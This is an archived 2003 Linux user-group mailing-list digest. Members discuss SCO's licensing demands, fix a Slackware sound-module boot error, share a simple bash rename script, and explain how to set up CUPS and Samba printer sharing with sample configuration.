[mailto:tclug-list-admin@mn-linux.org] On Behalf Of Sam MacDonald > > Sent: Wednesday, August 06, 2003 7:00 AM > > To: tclug-list@mn-linux.org > > Subject: [TCLUG] SCO and Linux > > > > I don't know if anyone has seen these, sorry if it's a repeat. > > > > http://www.sco.com/scosource/description.html > > > > http://www.sco.com/scosource/linuxlicensefaq.html > > > > Looks like they are going after any version of the kernel greater then > > 2.4.X > > Some good information on the Redhat site. > > > > uname -r > > > > Sam. > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Wed Aug 6 15:14:37 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] slackware modules Message-ID: <0399641989D32043BED5793CCC8F5CD526FAAB@BPEXU1VM2.andersencorp.com> I went in all the rc files...no sound card listed to be loaded....still mine is loaded....weird...still will keep digging.... Dan Lansing -----Original Message----- From: The Wandering Dru [mailto:dru@druswanderings.net] Sent: Wednesday, August 06, 2003 3:07 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] slackware modules Lansing, Dan wrote: > No such file....modules.conf is empty....is not listed in /etc/rc.d/rc.modules > > Dan Lansing > > Bah, rc.modules is what I was thinking of, modules.autoload is a gentooism I think. If the joystick module isn't located in the rc.modules file it's gotta be called from one of the rc scripts. I would start poking around in there. Maybe there is a script for starting sound, et al. Shawn may know, I think he's our regular Slackhead(unless he's been fully converted to Debian). -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Wed Aug 6 15:32:07 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] slackware modules In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAAB@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FAAB@BPEXU1VM2.andersencorp.com> Message-ID: The nice thing is that most linux distros put all the config stuff in /etc even if its not in the same place within /etc. Just use recursive grep For example, if you have an SBLive! do grep -r emu10k1 /etc and watch it print out all the files it fonud it in. I occationally have to look for modules that way when I am on a distro I dont normally use. Jay On August 6, 3:14 pm "Lansing, Dan" wrote: > I went in all the rc files...no sound card listed to be loaded....still > mine is loaded....weird...still will keep digging.... > Dan Lansing _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Wed Aug 6 15:44:43 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux In-Reply-To: <001e01c35c57$dc1cf020$6501a8c0@isd.net> References: <001401c35c12$35051c80$6501a8c0@isd.net> <000701c35c45$a8b07020$0436a8c0@Kurama> <3955.64.83.200.253.1060194442.squirrel@webmail.askewview.net> <001e01c35c57$dc1cf020$6501a8c0@isd.net> Message-ID: <1060202683.19507.288.camel@lotsa> On Wed, 2003-08-06 at 15:18, Sam MacDonald wrote: > I'm fortunate my only server is Linux 6.2, Kernel 2.2.14-5.0. That is to say > my only Linux server, I have a Windoze server to... Um ya, me too, um, My stuff is all really old, honest. no need to sue me... -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Wed Aug 6 15:50:37 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux Message-ID: <0399641989D32043BED5793CCC8F5CD54D366B@BPEXU1VM2.andersencorp.com> IANAL......Couldn't we all just use an older or newer kernel version to avoid the license fees? And by not telling us the alleged stolen code they are keeping us from fixing the kernel and using the non-infringing code and forcing us to break the law.....isn't that entrapment or something Dan Lansing -----Original Message----- From: Tom Penney [mailto:blots@visi.com] Sent: Wednesday, August 06, 2003 3:45 PM To: TCLUG Subject: Re: [TCLUG] SCO and Linux On Wed, 2003-08-06 at 15:18, Sam MacDonald wrote: > I'm fortunate my only server is Linux 6.2, Kernel 2.2.14-5.0. That is to say > my only Linux server, I have a Windoze server to... Um ya, me too, um, My stuff is all really old, honest. no need to sue me... -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Wed Aug 6 16:10:45 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] slackware modules In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAAA@BPEXU1VM2.andersencorp.com>; from Dan.Lansing@AndersenCorp.com on Wed, Aug 06, 2003 at 01:56:00PM -0500 References: <0399641989D32043BED5793CCC8F5CD526FAAA@BPEXU1VM2.andersencorp.com> Message-ID: <20030806161044.A29273@thinkunix.net> in the old days, one used to do: cp -p /etc/modules.conf /etc/modules.conf.old /sbin/depmod -a /sbin/modprobe -c > /etc/modules.conf then vi /etc/modules.conf and change the 3rd field to "off" for the offending module; example: alias off Lansing, Dan wrote: > Ok....easy one....on my laptop running slackware 9.0 I get errors every time I boot because it is trying to load the joystick port of my sound card and my sound card has none....i know I have the right sound card selected....i recompiled my kernel to remove joystick support in the sound section and it still does this....what do I need to do to keep this piece of the module from trying to load? > Running kernel 2.4.20 > Slackware 9.0 > IBM ThinkPad a22m > Cs46xx is the soundcard module > > > Dan Lansing -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Wed Aug 6 16:16:00 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:07 2005 Subject: [TCLUG] slackware modules Message-ID: <0399641989D32043BED5793CCC8F5CD54D366C@BPEXU1VM2.andersencorp.com> went into /etc/hotplug/blacklist and added the module...then made sure to add the sound card to rc.modules and I'm good to go.... Dan Lansing -----Original Message----- From: Scot Jenkins [mailto:scot+tcluggen@thinkunix.net] Sent: Wednesday, August 06, 2003 4:11 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] slackware modules in the old days, one used to do: cp -p /etc/modules.conf /etc/modules.conf.old /sbin/depmod -a /sbin/modprobe -c > /etc/modules.conf then vi /etc/modules.conf and change the 3rd field to "off" for the offending module; example: alias off Lansing, Dan wrote: > Ok....easy one....on my laptop running slackware 9.0 I get errors every time I boot because it is trying to load the joystick port of my sound card and my sound card has none....i know I have the right sound card selected....i recompiled my kernel to remove joystick support in the sound section and it still does this....what do I need to do to keep this piece of the module from trying to load? > Running kernel 2.4.20 > Slackware 9.0 > IBM ThinkPad a22m > Cs46xx is the soundcard module > > > Dan Lansing -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Wed Aug 6 20:34:40 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:07 2005 Subject: [TCLUG] SCO and Linux References: <001401c35c12$35051c80$6501a8c0@isd.net> <000701c35c45$a8b07020$0436a8c0@Kurama> <3955.64.83.200.253.1060194442.squirrel@webmail.askewview.net> <001e01c35c57$dc1cf020$6501a8c0@isd.net> Message-ID: <004a01c35c84$12357e80$0201a8c0@brinstar> Sam MacDonald writes: > I'm fortunate my only server is Linux 6.2 Linux 6.2, huh? May I borrow your time machine? All joking aside, end users have nothing to worry about. There is no precedent for suing over use of copyrighted material in this manner. 17 USC 106 covers public performance, but this does not apply to software. Only copying and distribution is an exclusive right. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Wed Aug 6 20:41:31 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:07 2005 Subject: [TCLUG] SCO and Linux: SCO to government Linux users: Pay up, SCO wants $32 for each embedded Linux device In-Reply-To: <000701c35c45$a8b07020$0436a8c0@Kurama> References: <000701c35c45$a8b07020$0436a8c0@Kurama> Message-ID: <200308062041.31853@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Wednesday 06 August 2003 01:07 pm, Joseph wrote: > Another interesting item on the web site is the IP license cost. You > might as well use windows, the single user desktop license cost $199 > (this is the introductory, promotional pricing). SCO to government Linux users: Pay up http://www.washingtontechnology.com/news/1_1/daily_news/21384-1.html SCO wants $32 for each embedded Linux device http://www.eetimes.com/story/OEG20030806S0025 -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Thu Aug 7 08:21:08 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:07 2005 Subject: [TCLUG] slackware modules In-Reply-To: <3F315FE7.4080200@druswanderings.net> References: <0399641989D32043BED5793CCC8F5CD54D3669@BPEXU1VM2.andersencorp.com> <3F315FE7.4080200@druswanderings.net> Message-ID: <20030807082108.5bbfa97f.sfertch@real-time.com> On Wed, 06 Aug 2003 15:07:03 -0500 The Wandering Dru wrote: > Shawn may know, I think he's our regular Slackhead(unless he's been > fully converted to Debian). > Unfortunately, I never had to deal with this issue before and never looked into it so I wouldn't have been much help. A Slackhead I am, just haven't had the fortune to have to look this far in depth. Debian is nice, but I will stick with Slack for the long haul. =) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Thu Aug 7 08:53:25 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:07 2005 Subject: [TCLUG] linux printing Message-ID: <004101c35ceb$45e6cf10$3564640a@DELL2> I know just about zilch on linux network printing. I need to set up an alternative printing solution for a school lab today. I would like to use linux, and our existing netgear 110 pserver. I have found a few docs on the net, but they are over my head for now. Is there a quick way to get this working, so I can share it through samba? Thanks in advance Raymond -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030807/5a7865ca/attachment.html From troy.johnson at health.state.mn.us Thu Aug 7 09:07:03 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:07 2005 Subject: [TCLUG] Yellow Dog Linux on Xserves for the Navy Message-ID: Interesting stuff: http://www.theregister.co.uk/content/39/32211.html Sorry if this is a repeat... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From veldy at veldy.net Thu Aug 7 09:32:17 2003 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 12:40:07 2005 Subject: [TCLUG] SCO and Linux: SCO to government Linux users: Pay up, SCO wants $32 for each embedded Linux device References: <000701c35c45$a8b07020$0436a8c0@Kurama> <200308062041.31853@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <017201c35cf0$b4e97110$d037630a@dh.com> This WILL put SCO clean out of business. I used to clean better things out of my toilet, now I just leave it so that I can mail it in with my $32 when the time comes. Tom Veldhouse > On Wednesday 06 August 2003 01:07 pm, Joseph wrote: > > Another interesting item on the web site is the IP license cost. You > > might as well use windows, the single user desktop license cost $199 > > (this is the introductory, promotional pricing). > > SCO to government Linux users: Pay up > http://www.washingtontechnology.com/news/1_1/daily_news/21384-1.html > > SCO wants $32 for each embedded Linux device > http://www.eetimes.com/story/OEG20030806S0025 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 7 10:25:48 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:08 2005 Subject: [TCLUG] linux printing References: <004101c35ceb$45e6cf10$3564640a@DELL2> Message-ID: <000801c35cf8$2e30c9e0$6501a8c0@isd.net> I love your question! I'm not an expert but... Plug in the printer and create the printer object. Now down load Webmin at http://www.webmin.com/ install it on the Linux box. You can now manage everything Linux very easily from a browser. You can also manage your Linux box, in the data center, from your Sindows or Linux workstation at your desk. To run it remote you type the IP address of the machine like this #.#.#.#:10000 in the address bar. To run it locally you type localhost:10000 in the address bar. Yes it has security. Because your life is now very easy, send them money for having such a nice "Open Source" product. YiS Sam. ----- Original Message ----- From: Raymond Norton To: tclug-list@mn-linux.org Sent: Thursday, August 07, 2003 8:53 AM Subject: [TCLUG] linux printing I know just about zilch on linux network printing. I need to set up an alternative printing solution for a school lab today. I would like to use linux, and our existing netgear 110 pserver. I have found a few docs on the net, but they are over my head for now. Is there a quick way to get this working, so I can share it through samba? Thanks in advance Raymond -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030807/05c43134/attachment.htm From sfertch at real-time.com Thu Aug 7 11:08:08 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:08 2005 Subject: [TCLUG] linux printing In-Reply-To: <000801c35cf8$2e30c9e0$6501a8c0@isd.net> References: <004101c35ceb$45e6cf10$3564640a@DELL2> <000801c35cf8$2e30c9e0$6501a8c0@isd.net> Message-ID: <20030807110808.078428ff.sfertch@real-time.com> Webmin is an option, but unless they've changed it since I used it a year and a half ago you need to watch out for the gotcha of them "modifying" where the files are located. They didn't keep the config files in the same spot as you would on a normal system. It got me once I figured out what I wanted to do. I had to try and track them down, and got fed up because of the BS of Webmin and reloaded. Was nice having a test box back then... An alternative method would be to use CUPS along with Samba. Cups is easy to administer thru a web interface as well. Defaults to port 600 if I'm not mistaken, or you can do the config files. Personally, never did the config file. Only the webinterface. On a local browser it's localhost:600. There's stuff I'm forgetting, but other can chime in as well. I think CUPS is a better solution. On Thu, 7 Aug 2003 10:25:48 -0500 "Sam MacDonald" wrote: > I love your question! I'm not an expert but... > > Plug in the printer and create the printer object. Now down load > Webmin at http://www.webmin.com/ install it on the Linux box. You can > now manage everything Linux very easily from a browser. You can also > manage your Linux box, in the data center, from your Sindows or Linux > workstation at your desk. > > To run it remote you type the IP address of the machine like this > #.#.#.#:10000 in the address bar. > To run it locally you type localhost:10000 in the address bar. > > Yes it has security. > > Because your life is now very easy, send them money for having such a > nice "Open Source" product. > > YiS > Sam. > ----- Original Message ----- > From: Raymond Norton > I know just about zilch on linux network printing. I need to set up > an alternative printing solution for a school lab today. I would > like to use linux, and our existing netgear 110 pserver. I have > found a few docs on the net, but they are over my head for now. Is > there a quick way to get this working, so I can share it through > samba? > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Thu Aug 7 11:13:20 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:08 2005 Subject: [TCLUG] sorry about that Message-ID: <034901c35cfe$d1aa18a0$3564640a@DELL2> my last message was in html format. I changed it back to text now:) Raymond _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Thu Aug 7 11:34:08 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:08 2005 Subject: [TCLUG] scripting Message-ID: <0399641989D32043BED5793CCC8F5CD54D366E@BPEXU1VM2.andersencorp.com> I am very new to scripting....i want to write a script that asks me to enter a variable and the plugs that into a command For example I run test.sh And it asks me for a file name I enter 'file' and it renames 'file' to 'file1' How can I do this? Anyone know of any good sites to get scripting tutorials? thanks Dan Lansing -------------- next part -------------- An HTML attachment was scrubbed... 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URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030807/e7423aab/attachment.htm From foeclan at visi.com Thu Aug 7 11:52:52 2003 From: foeclan at visi.com (Michael Vieths) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] scripting In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D366E@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D366E@BPEXU1VM2.andersencorp.com> Message-ID: <3F3283E4.2050701@visi.com> Lansing, Dan wrote: > I am very new to scripting?.i want to write a script that asks me to > enter a variable and the plugs that into a command > > For example I run test.sh > > And it asks me for a file name > > I enter ?file? and it renames ?file? to ?file1? > > How can I do this? > > Anyone know of any good sites to get scripting tutorials? > > thanks > > Dan Lansing > For shell scripting tutorials and hints, try here: http://www.shelldorado.com/ Michael Vieths Foeclan@Visi.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Thu Aug 7 12:02:51 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] scripting Message-ID: Dan, I like examples, so: >>>>>START>>>>> #!/bin/bash echo -n "Enter a filename: " read file0 file1=${file0}1 if [ -f $file0 ]; then if [ -r $file0 ]; then if [ ! -f $file1 ]; then mv $file0 $file1 else echo "${file1} exists." exit 1 fi else echo "${file0} is not readable." exit 1 fi else echo "${file0} does not exist." exit 1 fi exit 0 >>>>>>END>>>>>> That said, I like Perl and would use it instead. Good luck, Troy >>> Dan.Lansing@andersencorp.com 08/07/03 11:35AM >>> Sorry....i want to use bash scripting for this....should have had that in original message if it is even relevant -----Original Message----- From: Lansing, Dan Sent: Thursday, August 07, 2003 11:34 AM To: tclug-list@mn-linux.org Subject: [TCLUG] scripting I am very new to scripting....i want to write a script that asks me to enter a variable and the plugs that into a command For example I run test.sh And it asks me for a file name I enter 'file' and it renames 'file' to 'file1' How can I do this? Anyone know of any good sites to get scripting tutorials? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Thu Aug 7 12:04:02 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] linux printing (possible thread hijack) In-Reply-To: <004101c35ceb$45e6cf10$3564640a@DELL2> References: <004101c35ceb$45e6cf10$3564640a@DELL2> Message-ID: <16178.34434.776282.833209@gargle.gargle.HOWL> I don't mean to hijack this thread, but it led me to a question I've often had --- is there an easy way to just share a printer with some windows stuff (like a laptop), without an endless nightmare of samba configuration? Last time I looked, it looked like an enormous chore... Thanks! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Thu Aug 7 12:12:40 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] linux printing (possible thread hijack) In-Reply-To: <16178.34434.776282.833209@gargle.gargle.HOWL> References: <004101c35ceb$45e6cf10$3564640a@DELL2> <16178.34434.776282.833209@gargle.gargle.HOWL> Message-ID: <3ff07572572c89d6ea5d014991d2fc7f@slushpupie.com> On August 7, 12:04 pm rpgoldman@real-time.com wrote: > I don't mean to hijack this thread, but it led me to a question I've > often had --- is there an easy way to just share a printer with some > windows stuff (like a laptop), without an endless nightmare of samba > configuration? Last time I looked, it looked like an enormous > chore... First off, I dont think samba configuration is too bad. Most distro's default samba config should allow you to share the printer pretty easily. But if you dont, then you may want to loop into setting up LPD services (the original line printing deamon). Cups has lpd services availible, and there are drivers out there to allow windows to print to such printers (I think the newer versions of windows even have it included- never tried, though). Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From veldy at veldy.net Thu Aug 7 12:22:34 2003 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] linux printing (possible thread hijack) References: <004101c35ceb$45e6cf10$3564640a@DELL2> <16178.34434.776282.833209@gargle.gargle.HOWL> Message-ID: <021401c35d08$7ec754e0$d037630a@dh.com> Setting up cups and samba to work together is very easy ... I had my machines printing to my Linux based printer in just a few minutes. Plus, it will accept remote printing from KDE apps via cups IPP thanks to using a PPD. Tom Veldhouse ----- Original Message ----- From: To: Sent: Thursday, August 07, 2003 12:04 PM Subject: [TCLUG] linux printing (possible thread hijack) > > I don't mean to hijack this thread, but it led me to a question I've > often had --- is there an easy way to just share a printer with some > windows stuff (like a laptop), without an endless nightmare of samba > configuration? Last time I looked, it looked like an enormous > chore... > > Thanks! > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Thu Aug 7 12:23:48 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] scripting Message-ID: <0399641989D32043BED5793CCC8F5CD54D3670@BPEXU1VM2.andersencorp.com> Thanks....that example got me pointed in the right direction..... Thanks to Michael as well that site looks to be a very good resource Dan Lansing -----Original Message----- From: Troy.A Johnson [mailto:troy.johnson@health.state.mn.us] Sent: Thursday, August 07, 2003 12:03 PM To: tclug-list@mn-linux.org Subject: RE: [TCLUG] scripting Dan, I like examples, so: >>>>>START>>>>> #!/bin/bash echo -n "Enter a filename: " read file0 file1=${file0}1 if [ -f $file0 ]; then if [ -r $file0 ]; then if [ ! -f $file1 ]; then mv $file0 $file1 else echo "${file1} exists." exit 1 fi else echo "${file0} is not readable." exit 1 fi else echo "${file0} does not exist." exit 1 fi exit 0 >>>>>>END>>>>>> That said, I like Perl and would use it instead. Good luck, Troy >>> Dan.Lansing@andersencorp.com 08/07/03 11:35AM >>> Sorry....i want to use bash scripting for this....should have had that in original message if it is even relevant -----Original Message----- From: Lansing, Dan Sent: Thursday, August 07, 2003 11:34 AM To: tclug-list@mn-linux.org Subject: [TCLUG] scripting I am very new to scripting....i want to write a script that asks me to enter a variable and the plugs that into a command For example I run test.sh And it asks me for a file name I enter 'file' and it renames 'file' to 'file1' How can I do this? Anyone know of any good sites to get scripting tutorials? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Thu Aug 7 12:57:12 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] linux printing In-Reply-To: <20030807110808.078428ff.sfertch@real-time.com> Message-ID: CUPS is hands down the way to go. The CUPS http port is actually 631. If you're hooking the printer up directly to the Linux server (via printer or usb port) you'll want to choose that option when you add your printer. If the printer is going to be on your Netgear printserver, you'll want to use a LPD/LPR Host or Printer. Device URI: lpd://hostname/queue, which for a Netgear printserver will be more like lpd://192.168.1.30/p0 (If I recall correctly, a netgear print server names it's queues p0, p1, etc. unless you change it. Use the software Netgear provided to see your printservers configuration) Once you're past that, pick your drivers etc. Print a test page and cross your fingers. Samba can be a bit trickier, but it isn't hard. First you'll need to have a printcap file. For cups, you're printcap is dead simple: /etc/printcap: Printer1: Printer2: Printer3: Printer4: Some people (like me) like to have their printcap called /etc/printcap.cups, and sym link it to /etc/printcap. For Samba, I'm going to assume that you have it configured and working, I'm I'm just going to spew out lines you'll need to add. Commented lines are optional. [global] # printer driver file = /etc/samba/printers.def printcap name = /etc/printcap.cups printing = cups [printers] # This is just a copy and paste from the default smb.conf incause your # smb.conf doesn't have it. comment = All Printers path = /tmp create mask = 0700 printable = Yes browsable = No [Printer1] path = /tmp read only = No create mask = 0700 guest ok = Yes printable = Yes # You need to set your printer name only if the name you share your # printer as is different from the name you gave it in your CUPS setup. #printer name = Printer1 # These commands are optional. If you don't specify the commands, # samba uses these defaults. #print command = lpr -r -P'%p' %s #lpq command = lpq -P'%p' #lprm command = lprm -P'%p' %j # If you want to server the printer drivers to windows clients, you'll # need these lines, a share called printer$, and you'll have to do some # more work. #printer driver = Name Of Windows Printer Driver #printer driver location = \\%h\printer$ #[printer$] # path = /path/to/windows/drivers Restart samba and you're up and printing. If you installed SWAT (Samba Web Administration Tool) you can use that to easily setup samba and skip editing the config file. To access SWAT, try http://linux-server:901/ The commented lines aren't needed, but you'll have to pick a driver every time you install a printer. To avoid that, uncomment the printer driver option and type in the exact name of the printer driver. As long that printer driver is part of Windows, that should be enough. Just make sure you get the name exactly as it's listed (to get the name, it's easiest to install the printer on a windows machine with the driver you want to use then check the name of the driver) printer driver = HP Color LaserJet 5/5M PS If the driver for your printer isn't included in Windows, you can serve the driver off the samba machine. I've only done this a couple times, so I'm not too helpful. But I can try... First, you'll need to find the inf file that contains printer informaiton. In Windows XP, it's c:\windows\system32\inf\ntprint.inf. Linux likes to see this as a binary file, so you may need to open the file in notepad, and copy and paste it into vim or something. Anyway... Once you have the inf file on the Linux machine, use the make_printerdef command to make a samba printer definition. make_printerdef ntprint.inf "HP Color LaserJet 5/5M PS" Now this should result in the creation of a printers.def file that you can put into /etc/samba (Uncomment printer driver file under [global] and edit to suit) If you look at the printers.def file it should tell you the files(s) you need to copy to your linux server. In the case of my HP printer, I just need a file called HPCLJ5V2.PPD. You put the driver files in the path you specified for the printer$ share, and you should be off and running. I don't have any official documentation to point you to. This is all cobbled together from my notes. I'm sure that all this is actually documented now if you look hard enough. :) Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Thu Aug 7 13:05:54 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] linux printing (possible thread hijack) In-Reply-To: <3ff07572572c89d6ea5d014991d2fc7f@slushpupie.com> Message-ID: | Cups has lpd services availible, and | there are drivers out there to allow windows to print to such printers (I | think the newer versions of windows even have it included- never tried, | though). All you need is a general HP or Adobe PS driver to get a LPD printer to work on windows. If you want to use the advanced features of your printer, you'll need the PostScript Printer Definition (PPD) file, but all Post Script printers use the same PS driver. If you're printer doesn't talk PS, Install GhostScript and set up the needed filters. If you're using CUPS, you don't even have to deal with filters. Just follow the CUPS setup wizzard though the web interface and CUPS will handle all the ghostscript filters for you. It beats the hell out of LPR or LPRNG, so if you have no clue about Linux printing...just use CUPS. If you do know Linux printing...just use CUPS. ;) For Windows NT, 2000, and XP, bring up the add printer wizzard, set up a new Local Printer (NOT a network printer) when asked for a port, you want to create a new port. You'll then be able to select a type, you want Standard TCP/IP Port. Then you'll be prompted for hostname or ip address, etc. I'm going to go hide now before I'm shunned from TCLUG for my excessive Windows knowledge. ;) Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Thu Aug 7 14:32:12 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] linux printing Message-ID: 